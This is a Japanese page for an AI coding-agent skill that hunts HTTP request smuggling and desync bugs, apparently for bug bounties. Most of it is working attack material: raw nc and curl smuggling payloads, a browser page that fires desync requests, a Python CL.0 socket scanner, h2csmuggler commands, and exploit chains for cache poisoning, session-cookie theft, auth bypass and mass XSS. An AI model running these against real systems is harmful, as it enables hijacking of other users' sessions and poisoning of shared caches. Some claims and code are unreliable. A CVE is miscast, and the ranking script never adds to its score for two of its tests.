hunt-http-smuggling について
プロキシとバックエンドのリクエスト解析差によるHTTPリクエストスマグリングやデシンクを検出するセキュリティテストスキルです。従来型とHTTP/2ダウングレード型の検査手順、結果の解釈方法を扱います。
主な機能
- 01CL.TEとTE.CLの変種をテスト
- 02HTTP/2ダウングレードデシンクに対応
- 03CL.0とTE.TEのプローブを収録
- 04フロントエンドプロキシの適性を確認
- 05検出の兆候と影響を解説
活用シーン
- 01プロキシからバックエンドへの処理をテスト
- 02HTTP/2からHTTP/1.1への構成を評価
- 03不審なリクエスト遅延を調査
- 04キャッシュポイズニングやセッションのリスクを評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-http-smugglingインストール後、Claude Code で/hunt-http-smugglingを入力して読み込まれたか確認します。
詳細
17. HTTP リクエストスマグリング
重複率は最低です。$5K~$30K。James Kettle による PortSwigger の調査。
CL.TE(フロントエンドは Content-Length、バックエンドは Transfer-Encoding)
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
検出
1. Burp extension: HTTP Request Smuggler
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. Manual timing: CL.TE probe + ~10s delay = backend waiting for rest of body
影響の連鎖
Poison next request → access admin as victim
Steal credentials → capture victim's session
Cache poisoning → stored XSS at scale
対象の適性マトリックス(2026年の現実確認)
従来の CL.TE / TE.CL ペイロードは、2026年にすべての環境で悪用できるわけではありません。最新のプロキシは、デフォルトで RFC 9112 に厳密に準拠しています。時間をかける前に、フロントエンドのフィンガープリントを確認してください。
| フロントエンド | CL.TE | TE.CL | H2.CL | H2.TE | 備考 |
|---|---|---|---|---|---|
| Nginx >= 1.21 | NO | NO | 部分的(H2 ingress) | 部分的 | 一般的な構成では、曖昧な CL+TE リクエストは拒否されますが、挙動はプロキシチェーン全体に依存します。 |
| Caddy 2.x | NO | NO | — | — | デフォルトで強化済み |
| Envoy ≥ 1.20 | NO | NO | 部分的 | 部分的 | ほとんどの経路で強化済み |
| HAProxy ≤ 2.4 | ✓ | ✓ | — | — | 脆弱です。CVE-2021-40346 を参照してください |
| AWS ALB + 特定のアップストリーム | 部分的 | 部分的 | ✓ | ✓ | 2022~2024年に、報奨金を受け取った報告が複数公開されています |
| Cloudflare → S3 / Lambda のチェーン | — | — | ✓ | ✓ | H2 ダウングレード攻撃は引き続き有効です |
| 旧バージョンの F5 BIG-IP(TMM < 16) | ✓ | — | — | — | ベンダーの勧告を参照してください |
| Citrix ADC / NetScaler(旧ファームウェア) | ✓ | ✓ | — | — | 2020~2022年に公開されています |
| Squid 3.x | ✓ | — | — | — | 古いデプロイ環境 |
| Apache Traffic Server(旧バージョン) | ✓ | ✓ | ✓ | ✓ | PortSwigger の調査 |
| カスタム Python / Go プロキシ | ✓ | ✓ | — | — | RFC の適用を見落としていることがよくあります |
オペレーター向けフィンガープリントのクイックチェック
curl --max-time 30 --connect-timeout 10 -sI https://target/ | grep -i "Server:"
nginx/1.21+、Caddy、envoy→ 従来の CL/TE は使えません。フロントエンドが HTTP/2 を話す場合は H2.CL/H2.TE に切り替えるか、アップストリームにレガシープロキシがないか確認してくださいHAProxy、またはヘッダーに AWS/CDN が示されている場合 → ペイロードの全マトリックスを実行してください- Server ヘッダーがない場合 → 強化済みと想定しますが、
space-before-colonのプローブを1回だけ手早く実行してください。400 が返らなければ、さらに調査します
H2.CL / H2.TE(現在主流のベクトル)
H2 ダウングレードによるスマグリング攻撃は、フロントエンドがクライアントとは HTTP/2 で通信し、オリジンとは HTTP/1.1 で通信する構成を利用します。ダウングレードによって、HTTP/2 のフレーム長ヘッダーが変換時に正しく引き継がれず、CL/TE の解釈に食い違いが生じます。2024~2026年の CDN とオリジンのチェーンの多くは、まさにこのトポロジーを採用しています。
HTTP/2 の生フレームを送信するツール(Burp Pro の HTTP Request Smuggler 拡張機能、h2csmuggler、smuggler.py)は、CDN の背後にある対象を調べる際の適切な出発点です。H2 フロントエンドの対象に対して、HTTP/1.1 専用のテストクライアント(curl、生ソケット)を使うのは避けてください。まったく別のプロトコルを送信することになります。
CL.0 デシンク(バックエンドが Content-Length を無視)
「CL.0」または「Content-Length の無視」とも呼ばれます。フロントエンドは Content-Length を読み取り、本文を転送します。バックエンドは Content-Length を解析せず、接続が閉じるまで読み込みます。そのため、keep-alive 接続では本文のバイト列が次のリクエストの先頭として残ります。
生ソケットによる検出:
# CL.0 probe — send a POST with smuggled prefix after the body
# The backend ignores CL and treats the smuggled bytes as the next request
{
echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nConnection: keep-alive\r\n\r\nSMUGGL'
sleep 2
echo -en 'GET /404 HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 443
Curl ベースのブラインドプローブ:
# CL.0 timing probe: delay on backend indicates CL ignored
curl --max-time 30 --connect-timeout 10 -s --raw -X POST "https://target.com/" \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 4" \
-d $'x' \
--max-time 15 \
-w "\nHTTP_CODE: %{http_code}\nTIME: %{time_total}\n"
CL.0 が最も発生しやすいケース:
r.Body.Readを使用しながら CL の適用を強制しないhttp.Handlerを使うカスタム Go/Python/Rust バックエンド- プロキシの背後にある PHP-FPM(
max_input_varsに達していない POST では PHP が CL を無視します) - 内部プロキシの処理時間を漏えいする Server-Timing ヘッダー
主な兆候: CL の値が一致しない POST リクエストに対して HTTP 400 が返されないことです。バックエンドは、誤った Content-Length を何も言わずに受け入れています。
H2.CL デシンク(HTTP/2 → HTTP/1.1 CL インジェクション)
攻撃者は、content-length ヘッダーを含む HTTP/2 リクエストを送信します。HTTP/2 フロントエンドは、リクエストの区切りに独自のフレーム長を使用し、CL ヘッダーを HTTP/1.1 バックエンドへそのまま渡します。するとバックエンドは、ダウングレードされた CL ヘッダーを区切りに使用しますが、フロントエンドはすでにフレーム全体を読み取っています。その結果、アップストリームの HTTP/1.1 接続でデシンクが発生します。
Netflix の 20,000 ドルの事例(HackerOne 2021-2022):
- 研究者の @defparam は、Netflix の HTTP/2 終端レイヤーが
content-lengthヘッダーを HTTP/1.1 アップストリーム接続へ転送していることを特定しました。 - HTTP/2 フレーム長は 0(ボディなし)でしたが、挿入された
content-length: 50ヘッダーにより、バックエンドはさらに 50 バイトを待つ状態になりました。 - フロントエンドは、次のリクエストのバイト列を、リクエストスマグリングで送られたリクエストの「ボディ」として転送しました。
- 影響:Netflix API レスポンスのキャッシュポイズニング、共有アップストリーム接続でのセッションハイジャック。
- 報奨金:20,000 ドル。すべての H2→H1.1 ダウングレードリクエストから
content-lengthを削除することで修正されました。
h2csmuggler を使った検出:
# Install h2csmuggler
pip install h2csmuggler
# Probe H2.CL with a delay-based detector
h2csmuggler.py -x https://target.com --h2cl --method GET --path "/" \
--smuggled-path "/api/internal/admin" \
--smuggled-host "target.com" \
--delay 5
Burp を使った手動プローブ:
- Burp → Repeater → プロトコルを HTTP/2 に切り替えます。
:method疑似ヘッダーのボディ長を削除します(0 に設定)。- 通常のヘッダーとして
content-length: 100を追加します。 - ヘッダーの後にある
DATAフレームへ、リクエストスマグリングで送るリクエストを配置します。 - 送信し、後続のリクエストによって
/smuggled-pathへの 404 が発生するか確認します。
H2.TE デシンク(HTTP/2 Transfer-Encoding インジェクション)
HTTP/2 では Transfer-Encoding は正式に廃止されており、フレーム長のみを使用します。しかし、フロントエンドが H2→H1.1 にダウングレードする際、変換後も transfer-encoding: chunked が残ることを許すと、H1.1 バックエンドは TE を使い、チャンクの境界まで待機します。攻撃者は、フロントエンドが受け入れる完全な H2 フレームと、バックエンドが読み取りを完了しないチャンク形式のボディを送信します。その結果、次のリクエストのバイト列がチャンクボディに取り込まれます。
AWS ALB の事例(Albibir、2023年):
- 研究者は、HTTP/2 リスナーから HTTP/1.1 ターゲットグループへの設定時に、AWS Application Load Balancer(ALB)が HTTP/2 リクエストの
transfer-encodingヘッダーを HTTP/1.1 アップストリームへ渡すことを発見しました。 - ALB はフレーム長を使って H2 を正しく終端しましたが、HTTP/1.1 アップストリームのリクエストに TE: chunked を含めていました。
- その後、Nginx/HTTPD オリジンサーバーはボディをチャンク形式として解釈します。0\r\n\r\n がチャンクを終了し、後続のバイト列がリクエストスマグリングされた HTTP リクエストを形成します。
- 影響:ALB がキャッシュしたレスポンスの完全なキャッシュポイズニング、ALB に接続されたマイクロサービス間での認証情報の窃取。
- 開示:再現が確認された後、AWS により修正されました。現在、ALB はダウングレード時に TE ヘッダーを削除します。
- プロキシデシンクを利用した CVE-2022-22963(Spring Cloud Function)と類似する手法です。
検出:
# H2.TE probe with h2csmuggler
h2csmuggler.py -x https://target.com --h2te --method POST --path "/" \
--body "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" \
--delay 10
# Manual H2.TE via Burp (Repeater → HTTP/2):
# 1. Add header: transfer-encoding: chunked
# 2. Body: "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n"
# 3. The DATA frame has full body, but backend reads chunked encoding
# 4. Follow with a real GET / → expect 404 for /404
ALB に脆弱性がある条件:
- ALB リスナープロトコル:HTTPS(HTTP/2)
- ターゲットグループプロトコル:HTTP/1.1
- オリジンサーバーがキープアライブ接続でチャンク形式エンコーディングを解析する
- 次のコマンドで確認します:
curl -si https://target/ | grep -i "server:"— ALB を示す明示的なヘッダーがなくても、テストしてください。
TE.TE 難読化(ヘッダースマグリング)
フロントエンドとバックエンドの両方が Transfer-Encoding をサポートしていても、ヘッダーの解析方法が異なる場合、難読化のバリエーションによって、一方は TE を認識し、もう一方は無視することがあります。
バリエーションの一覧:
| バリエーション | ヘッダー | フロントエンドの動作 | バックエンドの動作 |
|---|---|---|---|
| チャンク化 + 空白 | Transfer-Encoding : chunked | 名前の後の空白 → TE を無視 | TE を正しく読み取る |
| タブの挿入 | Transfer-Encoding:\tchunked | 値の前のタブ → TE を無視 | chunked として読み取る |
| ヘッダーの重複 | Transfer-Encoding: x + Transfer-Encoding: chunked | 最初を選択 → 無視 | 最後を選択 → chunked を使用 |
| x-chunked | Transfer-Encoding: xchunked | 一致なし → TE なし | 寛容に解析 → chunked として読み取る |
| ランダムなパディング | Transfer-Encoding: chunked\r\nTransfer-Encoding: identity | 最初を使用(identity)→ TE なし | 最後を使用(chunked)→ TE あり |
| ヘッダー前のジャンク | Transfer-Encoding:\r\n chunked | 行の折り返し → 無視 | chunked として読み取る |
| 廃止された行の折り返し | Transfer-Encoding:\r\n chunked | RFC 7230 の廃止された折り返し形式 → 無視 | 寛容なパーサーは受け入れる |
| 大文字と小文字の混在 | Transfer-Encoding: ChuNkEd | 小文字のみの厳密なチェック → 無視 | 大文字と小文字を区別しない → 受け入れる |
検出スクリプト:
# TE.TE probe: tab injection
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding:\tchunked" \
-H "Content-Length: 4" \
-d $'0\r\n\r\n' \
-w "HTTP_CODE: %{http_code}\n" \
--max-time 10
# TE.TE probe: space before colon
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding : chunked" \
-H "Content-Length: 4" \
-d $'0\r\n\r\n' \
-w "HTTP_CODE: %{http_code}\n"
# TE.TE probe: double header (front picks first, back picks last)
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding: x" \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 4" \
-d $'0\r\nSMUGGLED\r\n' \
-w "HTTP_CODE: %{http_code}\n"
# TE.TE probe: X-chunked variant
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding: xchunked" \
-d $'0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n' \
--max-time 10
解釈:
- 難読化されたヘッダーに対して HTTP 400 が返る → フロントエンドは厳格です(RFC 9112 準拠)
- HTTP 200 が返るがデシンクが発生しない → バックエンドは TE を受け入れたものの、反対側とは異なるパーサーの動作をしていません
- タイムアウト、または後続リクエストでスマグリングされたレスポンスが返る → TE.TE デシンクが確認されました
クライアントサイドデシンク(ブラウザーを利用したスマグリング)
James Kettle(PortSwigger、2023 年)によって発見されました。直接接続からスマグリングする代わりに、攻撃者は被害者のブラウザーを利用して、Connection: keep-alive と、プロキシは完全なリクエストボディだと判断する一方でバックエンドは部分的なものとして扱うボディを含む細工された POST リクエストを送信します。その後、ブラウザーとプロキシ間の接続が汚染され、その接続で被害者が送信する次のリクエストに対して、スマグリングされたレスポンスが返されます。
サーバーサイドデシンクとの主な違い: スマグラーはブラウザーです。プロキシとバックエンドが被害者です。直接ソケット接続は必要ありません。
仕組み:
- 攻撃者は、
fetch('https://vuln-proxy/', { method: 'POST', body: '0\r\n\r\nGET /login HTTP/1.1\r\nHost: vuln-proxy\r\n\r\n', mode: 'cors' })(またはkeepalive: trueを指定したno-cors)を含むページをホストします。 - ブラウザーが POST を送信します。フロントエンドのプロキシは、Content-Length によってボディが消費されたと判断します。
- バックエンドは別のパーサーを使ってボディを読み取る(または CL のない Connection: keep-alive を使用する)ため、キャリッジリターンをリクエストの境界として認識します。
- 被害者の次のリクエスト(実際の GET /index.html)がスマグリングされたプレフィックスの後に到着し、スマグリングされたリクエストへのレスポンスが被害者に返されます。
検出:
# Serve a test page that fires a desync probe from the browser
cat > /tmp/csd-test.html << 'EOF'
<!DOCTYPE html>
<html>
<body>
<script>
// Client-Side Desync probe — sends a POST with dangling body bytes
fetch('https://target.com/', {
method: 'POST',
mode: 'no-cors', // keepalive needed for connection reuse
keepalive: true,
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
});
// Follow-up fetch to see if connection was poisoned
setTimeout(() => {
fetch('/dashboard')
.then(r => r.text())
.then(t => console.log('DASHBOARD RESPONSE:', t.substring(0, 200)));
}, 1000);
</script>
</body>
</html>
EOF
# Start a local server to serve the page
python3 -m http.server 8888 --directory /tmp/
# Then open http://localhost:8888/csd-test.html in a browser pointed at target
クライアントサイドデシンクの前提条件:
- プロキシが HTTP/1.1 の keep-alive と接続の再利用をサポートしている
- バックエンドがボディ全体を消費しない(CL を無視するか、チャンク化の解釈が一致しない)
- ブラウザーの CORS ポリシーが
no-cors+keepalive: trueを許可している(常に許可されます) - 被害者のブラウザーがすでにプロキシへの接続を確立している(keep-alive プール)
curl シミュレーションによる検出:
# Simulate what the browser sends — POST with body, then GET on same connection
{
echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 30\r\nContent-Type: text/plain\r\nConnection: keep-alive\r\n\r\n'
echo -en '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\n'
sleep 1
echo -en 'GET /dashboard HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 80
HTTP 異常ランク(HA Rank)
HTTP デシンクスミグリングに対するターゲットの脆弱性を定量化する、0~5 のスコアリングシステムです。スコアが高いほど危険です。
| スコア | ラベル | 基準 | 対応 |
|---|---|---|---|
| 0 | 耐性あり | RFC 9112 に厳格に準拠し、CL+TE の組み合わせはすべて 400 を返す。H2→H1.1 ではすべてのボディヘッダーを削除する | 次に進む |
| 1 | 低 | CL+TE に対して 200 を返すが、デシンクは確認されない。H2 のダウングレードテストは陰性 | 記録してスキップ |
| 2 | 中 | CL+TE が受け入れられる。タイミングプローブで軽微な接続の途切れが見られる。H2 デシンクは陰性 | 自動スキャナーを実行 |
| 3 | 高 | タイミングプローブで CL/CL.0 または TE の難読化を確認。H2.CL または H2.TE で部分的なデシンクが見られる | 手動による完全なエクスプロイトチェーンを実行 |
| 4 | 重大 | 2 回目のリクエストに対する応答をキャプチャしてデシンクを確認。キャッシュポイズニングの可能性あり | すべて中断。完全なチェーンの PoC を作成 |
| 5 | 緊急 | 本番環境のキープアライブ接続プールで、キャッシュポイズニングまたは認証情報の窃取を確認。複数のアップストリーム接続に影響 | 直ちに情報開示レポートを提出 |
HA Rank クイック計算ツール:
# HA Rank automation (bash one-liner — run against target)
function ha_rank() {
local t=$1
local score=0
# Test 1: CL+TE coexistence → does the server 400?
curl --max-time 30 --connect-timeout 10 -sk -m 10 -X POST "$t/" -H "Content-Length: 4" -H "Transfer-Encoding: chunked" -d $'x' -w "%{http_code}" | grep -q 400 && echo "CL+TE → 400 (RFC strict)" || { echo "CL+TE → accepted (+1)"; score=$((score+1)); }
# Test 2: Timing desync probe
timeout 15 curl --max-time 30 --connect-timeout 10 -sk -X POST "$t/" -H "Transfer-Encoding: chunked" -d $'0\r\n\r\nGET / HTTP/1.1\r\nHost: x\r\n\r\n' -w "%{time_total}" 2>/dev/null | awk '{if ($1 > 5) print "Timing desync (+2)"; else print "No timing desync"}'
# Test 3: TE.TE obfuscation (tab injection)
curl --max-time 30 --connect-timeout 10 -sk -m 10 -X POST "$t/" -H $'Transfer-Encoding:\tchunked' -d $'0\r\n\r\n' -w "%{http_code}" | grep -q 400 && echo "TE.TE tab → blocked" || echo "TE.TE tab → accepted (+1)"
# Test 4: H2.CL if H2 available
which h2csmuggler 2>/dev/null && h2csmuggler.py -x "$t" --h2cl --method GET --path "/" --delay 3 2>&1 | grep -q "VULNERABLE" && { echo "H2.CL vulnerable (+2)"; score=$((score+2)); }
echo "--- HA Rank: $score/5 ---"
}
# Usage:
# ha_rank https://target.com
検出方法(スタックベースのテスト)
検出済み、または想定されるスタックに合わせてテストのバリエーションを選択します。すべてのターゲットにすべてのペイロードを送信しないでください。無駄なリクエストは偵察の時間を消費します。
| 検出されたスタック | 主なテスト | 二次テスト | スキップ |
|---|---|---|---|
| nginx 1.21+ | H2.CL(H2 が有効な場合) | H2.TE | CL.TE、TE.CL、CL.0 |
| Caddy 2.x | H2.TE(H2 がデフォルト) | — | その他すべて |
| HAProxy ≤ 2.4 | CL.TE | TE.CL、TE.TE の難読化 | H2(H2 非対応) |
| Envoy 1.20+ | H2.CL(H2 がフロントエンドの場合) | CL.0(カスタムアップストリーム) | CL.TE、TE.CL |
| AWS ALB | H2.TE | H2.CL、CL.0 | CL.TE(ALB は H1 で TE を削除) |
| Cloudflare | H2.CL(オリジンへのダウングレード) | H2.TE | CL.TE(CF エッジは RFC に厳格に準拠) |
| Akamai | TE.TE の難読化 | H2.CL | CL.TE |
| Fastly | CL.0(既知の Fastly の挙動) | H2.TE | TE.CL |
| Apache httpd 2.4 | TE.TE の難読化 | CL.TE | H2.CL(ネイティブ H2 非対応) |
| カスタムの Go/Python プロキシ | CL.0 | CL.TE、TE.TE | 確認できていない場合は H2 |
| プロキシ背後の Java/Tomcat | H2.TE | CL.0 | TE.CL(Tomcat は TE を拒否) |
一般的なワークフロー:
# Step 1: Fingerprint the stack
curl --max-time 30 --connect-timeout 10 -sI "https://target.com/" | grep -iE "^(server:|via:|x-powered-by:|x-served-by:|cf-ray:|akamai|fastly)"
# Or use httpx for stack detection
httpx -u "https://target.com/" -td -sc -server
# Step 2: Quick RFD (Request Fingerprint Detection) — does the endpoint return 400 on garbage?
curl --max-time 30 --connect-timeout 10 -s -m 5 -X PURGE "https://target.com" -w "%{http_code}" # 405 → alive; 400 → strict
# Step 3: Based on stack (table above), run primary and secondary probes
# Step 4: If timing delta > 3s on any probe, escalate to HA Rank scoring
# Step 5: On HA Rank ≥ 3, write the full exploit chain
ツール
smuggler.py(PortSwigger / defparam)
オリジナルの Python3 製 CL.TE/TE.CL ファザーです。マルチスレッドスキャンと自動検出に対応しています。
# Install
git clone https://github.com/defparam/smuggler.git /tools/smuggler
cd /tools/smuggler && pip install -r requirements.txt
# Basic scan — test all payloads against a target
python3 smuggler.py -u "https://target.com/" -m POST --timeout 10
# Specific variant scan
python3 smuggler.py -u "https://target.com/" -m POST --cl-te --timeout 15
# Output vulnerable requests to file for manual replay
python3 smuggler.py -u "https://target.com/" -m POST -o /tmp/smuggler_results.txt
# With custom header (e.g., bypassing WAF by doubling Host)
python3 smuggler.py -u "https://target.com/" -m POST -H "X-Forwarded-Host: evil.com"
制限事項: smuggler.py は HTTP/1.1 のみを送信します。H2.CL または H2.TE のバリエーションは検出できません。HTTP/2 ターゲットでは必ず h2csmuggler で追加テストしてください。
h2csmuggler(Assetnote / VanTuynh)
HTTP/2 → HTTP/1.1 のダウングレードによるスミグリングツールチェーンです。生の H2 フレームを処理します。
# Install
git clone https://github.com/assetnote/h2csmuggler.git /tools/h2csmuggler
cd /tools/h2csmuggler && pip install -r requirements.txt
# H2.CL probe
python3 h2csmuggler.py -x "https://target.com" --h2cl --method GET --path "/" \
--smuggled-path "/api/admin/users" --smuggled-host "internal.target.com"
# H2.TE probe
python3 h2csmuggler.py -x "https://target.com" --h2te --method POST --path "/login" \
--body "0\r\n\r\nGET /debug HTTP/1.1\r\nHost: localhost\r\n\r\n"
# Test all H2 variants
python3 h2csmuggler.py -x "https://target.com" --test-all --delay 10
# Verbose output for debugging
python3 h2csmuggler.py -x "https://target.com" --h2cl -v
Burp Suite — HTTP Request Smuggler 拡張機能
手動テストと自動テストの業界標準です。Burp Suite Professional が必要です。
- インストール: BApp Store → HTTP Request Smuggler(PortSwigger 製)
- 自動スキャン: リクエストを右クリック → Extensions → HTTP Request Smuggler → Smuggle Probe(CL.TE、TE.CL、TE.TE)
- H2 スキャン: Repeater で HTTP/2 サポートを有効にした Burp 2023.12+ が必要です
- H2 スミグララータブ: Extensions → HTTP Request Smuggler → HTTP/2 Smuggler Configuration → H2.CL または H2.TE を選択
- Turbo Intruder との連携: HTTP Request Smuggler は、大量のデシンクテスト用に Turbo Intruder の Python スクリプトを生成できます
プロのヒント: Burp 2024+ の「Smuggle via HTTP/2 downgrade」オプションを使用すると、プロトコルを手動で切り替えずに H2.CL/H2.TE を自動化できます。
Turbo Intruder(PortSwigger)
高速なデシンクブルートフォースに使用します。脆弱なアップストリーム接続プールを見つけるのに役立ちます。
# Example Turbo Intruder script for H2.CL brute-force
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
engine=Engine.BURP2
)
for i in range(100):
engine.queue(target.req, i)
engine.queue(target.req, i+100)
def handleResponse(req, interesting):
if '404' in req.response or 'smuggled' in req.response:
table.add(req)
CL.0 検出ユーティリティ(Python)
多数のターゲットをすばやくテストする場合に使用する、単体で動作する CL.0 スキャナーです。
#!/usr/bin/env python3
"""CL.0 desync scanner — test if backend ignores Content-Length."""
import socket, ssl, sys, time
def test_cl0(host, port=443, path="/"):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = socket.create_connection((host, port), timeout=10)
ssock = ctx.wrap_socket(sock, server_hostname=host)
# Probe: POST with CL but include a smuggled prefix
probe = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Length: 6\r\n"
f"Connection: keep-alive\r\n\r\n"
f"SMUGGL"
)
ssock.sendall(probe.encode())
time.sleep(1)
# Follow-up request
follow = (
f"GET /404 HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Connection: close\r\n\r\n"
)
ssock.sendall(follow.encode())
resp = b""
while True:
try:
data = ssock.recv(4096)
if not data:
break
resp += data
except:
break
ssock.close()
return resp
if __name__ == "__main__":
resp = test_cl0(sys.argv[1], int(sys.argv[2]) if len(sys.argv)>2 else 443)
if b"404" in resp and b"SMUGGL" in resp:
print("[!] CL.0 confirmed — smuggled prefix reflected in response")
else:
print("[-] No CL.0 desync detected")
検証
HTTP スマグリングの調査準備が整っていることを確認するため、次のセルフテストを実行してください。
-
スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。
grep -q "name: hunt-http-smuggling" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3つのテストすべてで、スキルが適切に構成され、使用する準備が整っていることを確認できます。
落とし穴
- 2層アーキテクチャを伴わないHTTPスマグリング — スマグリングには、リクエストの境界について見解が異なるフロントエンドプロキシとバックエンドサーバーが必要です。単一層のアプリは影響を受けません。
- TE.CLとCL.TEの混同 — これらは逆の攻撃です。試みる前に、具体的にどのような不一致があるかを特定してください。
- 確認可能な副作用のないスマグリングプローブ — プローブリクエストに対する200や400の応答だけでは、スマグリングを確認できません。目に見える副作用(キャッシュ汚染、リクエストキュー汚染、レスポンスキュー)が必要です。
- HTTP/2のダウングレードを利用したスマグリング — H2Cのダウングレードを利用したスマグリングには、バックエンドが同じ接続でHTTP/1.1を受け入れる必要があります。バックエンドがHTTP/1.1で通信するかテストしてください。
- スマグリングによるWAFの回避 — 多くのWAFは、スマグリングされたリクエストを再構成しません。これがスマグリング攻撃の主な価値です。
関連スキルとチェーン
hunt-cache-poison— スマグリングとキャッシュの組み合わせは、重大な攻撃チェーンの典型です。スマグリングされた1つのリクエストが、その後のすべての被害者に対するキャッシュ済みレスポンスになります。チェーンの基本手順:レスポンス本文に攻撃者のHTML/JSを含むリクエストをCL.TEでスマグリングする → フロントエンドキャッシュが人気のURL(/、/login)に対応付けて保存する → 非同期化による汚染によって、スマグリングされたリクエストが次のN人の被害者に対するキャッシュ済みレスポンスとなり、キャッシュのTTLの間持続する。hunt-auth-bypass— スマグリングによって、フロントエンドのWAF/認証プロキシが除外する内部専用ルートに到達します。チェーンの基本手順:外部からの/admin/*をブロックするフロントエンドACLをすり抜けて、GET /admin/users HTTP/1.1をスマグリングする → バックエンドが、信頼された内部ソースからのリクエストとして処理する → 内部ルート向けリクエストをスマグリングしてフロントエンド認証を回避する → レスポンスキューに管理者データが入る。hunt-idor— スマグリングによって、次のユーザーのセッションCookieを攻撃者が制御するリクエストパスに付与します。チェーンの基本手順:CookieなしのGET /api/me HTTP/1.1をスマグリングする → バックエンドが、次に到着する正当なユーザーの接続Cookieと組み合わせる → 被害者のセッションCookieが攻撃者のスマグリングされたリクエストに付与される → 攻撃者が、被害者のPII/トークンを含むレスポンスを読み取る。hunt-xss— スマグリングによって、URLパラメーターに一度も現れることなく、次の被害者のレスポンスストリームにXSSペイロードを注入します。チェーンの基本手順:スマグリングされたリクエスト本文に含まれる反射ペイロードをバックエンドがキュー内の次のレスポンスに描画する →/への次の訪問者が攻撃者のHTMLをインラインで受け取る → 訪問者にもログにもURLパラメーターが一切見えないまま、すべての訪問者に反射型XSSが発生する。security-arsenal— 手動で16進数を編集する前に、スマグリング用ペイロード集(CL.TE/TE.CL/TE.TEの難読化、H2.CLダウングレードプローブ、h2csmugglerのワンライナー、Burp HTTP Request Smuggler拡張機能の設定)と、時間差による確認用テンプレートを参照してください。triage-validation— Criticalと判断する前に、重大度判定前のゲートを実行してください。スマグリングされたリクエストの影響は、必ず別のクライアント/セッションが発行したリクエストに及ぶ必要があり、自分自身の後続リクエストに及ぶだけでは不十分です。自分のブラウザーでの時間差だけでは、パーサーの不一致が確認できるにすぎず、悪用可能なスマグリングではありません。